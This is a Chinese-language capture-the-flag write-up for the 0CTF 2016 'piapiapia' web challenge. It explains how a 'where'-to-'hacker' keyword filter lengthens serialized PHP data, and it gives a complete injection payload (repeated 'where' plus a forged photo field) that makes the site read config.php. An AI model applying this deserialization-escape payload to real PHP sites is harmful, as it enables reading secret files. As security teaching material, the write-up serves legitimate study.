[0CTF 2016]piapiapia（反序列逃逸）

我尝试了几种payload，发现有两种情况。
第一种：Invalid user name 第二种：Invalid user name or password 第一步想到的是盲注或者报错，因为fuzz一波有一些是没有过滤掉的。
对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。
先不管，用字典扫一遍扫到源码直接下载下来。
每个文件都看了一遍发现root的username是可以使用的，提示出来是Invalid password

这一段是class.php的源代码

    public function filter($string) {
        $escape = array(\'\\'\', \'\\\\\');
        $escape = \'/\' . implode(\'|\', $escape) . \'/\';
        $string = preg_replace($escape, \'_\', $string);

        $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
        $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
        return preg_replace($safe, \'hacker\', $string);
    }

这是一段updata.php的代码：

$user->update_profile($username, serialize($profile));

这里是有一段序列化的数据，这意味着我们可以使用一段序列化的数据进行数据的发送，然后这段数据会在后端进行反序列化读取数据。

还有一段数据：

    $username = $_SESSION[\'username\'];
    if(!preg_match(\'/^\d{11}$/\', $_POST[\'phone\']))
        die(\'Invalid phone\');

    if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
        die(\'Invalid email\');

    if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
        die(\'Invalid nickname\');

这也是一段过滤的匹配操作。

在update的过程我们可以匹配了，我们传递四个参数，phone，email，nackname，以及photo。

进行正则表达式的过滤，赋予到$profile变量中。

调用ipdate_profile这个自定义的函数进行操作，里面的参数已经被序列化了。

查看一下这个函数，他需要传入username，以及上一步所生成的序列化的profile：

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = \'$username\'";
        return parent::update($this->table, \'profile\', $new_profile, $where);
    }

看到了是用了filter，就是我们最开始注意到的：

    public function filter($string) {
        $escape = array(\'\\'\', \'\\\\\');
        $escape = \'/\' . implode(\'|\', $escape) . \'/\';
        $string = preg_replace($escape, \'_\', $string);

        $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
        $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
        return preg_replace($safe, \'hacker\', $string);
    }

既然有序列化，那肯定就有反序列化读取数据的地方，我在profile找到了，以下是profile的源码：

<?php
    require_once(\'class.php\');
    if($_SESSION[\'username\'] == null) {
        die(\'Login First\'); 
    }
    $username = $_SESSION[\'username\'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header(\'Location: update.php\');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile[\'phone\'];
        $email = $profile[\'email\'];
        $nickname = $profile[\'nickname\'];
        $photo = base64_encode(file_get_contents($profile[\'photo\']));
?>

这里使用到了反序列化逃逸，奇怪的知识增加了hhh。

反序列化的逃逸利用到的还是截断欺骗，通过反序列化的逃逸我们能够抛弃院线数据，从而使自己的数据被上传上去。

在phpstudy上验证一下：

<?php
$b = \'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}\';
var_dump(unserialize($b));
?>

output:
array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸：

<?php
//$a = array(\'qsq\', \'mx\', \'test\');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = \'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}\';
var_dump(unserialize($b));
?>

output： array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

这就是反序列化逃逸。
在这道题中我们的序列化字符可控，长度也是固定的。 flag在config.php当中，我们需要利用反序列化将config.php的flag给打出来，那么意味着，我们要把这段payload想办法插进去，";s:5:"photo";s:10:"config.php";}

这里有个问题，那就是刚开始九个正则表达式长度的限制:

if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
            die(\'Invalid nickname\');

这里我们使用数组就可以绕过，但是数组在序列化之后是这样子的：
s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"
我们想要之后的序列化成功，我们也需要进行补齐：
所以我们构造的payload应该是这样的：
";}s:5:“photo”;s:10:“config.php”;}
这里多了两个字符变成了34个字符。
搞出三十四个空位就是我们当务之需的了最开始我们看到了什么：

    public function filter($string) {
        $escape = array(\'\\'\', \'\\\\\');
        $escape = \'/\' . implode(\'|\', $escape) . \'/\';
        $string = preg_replace($escape, \'_\', $string);

        $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
        $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
        return preg_replace($safe, \'hacker\', $string);
    }

就是这里，过滤的地方，加入我们传入where，那么他会替换为hacker，五字节换成了六字节，那么s=6,此时必然有一个字节是不收掌控的，那么我们写34个where，那么他就转换成了34个hacker，原本我们传递的是534+34=204个字节，但是由于转换完之后就是634+34=238个字节，前面的hacker*34把我们设定的204填满了，此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了，实现了逃逸闭合。

此时我们抓包修改，一切就ok了。
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我们去查看读取的文件取得flag。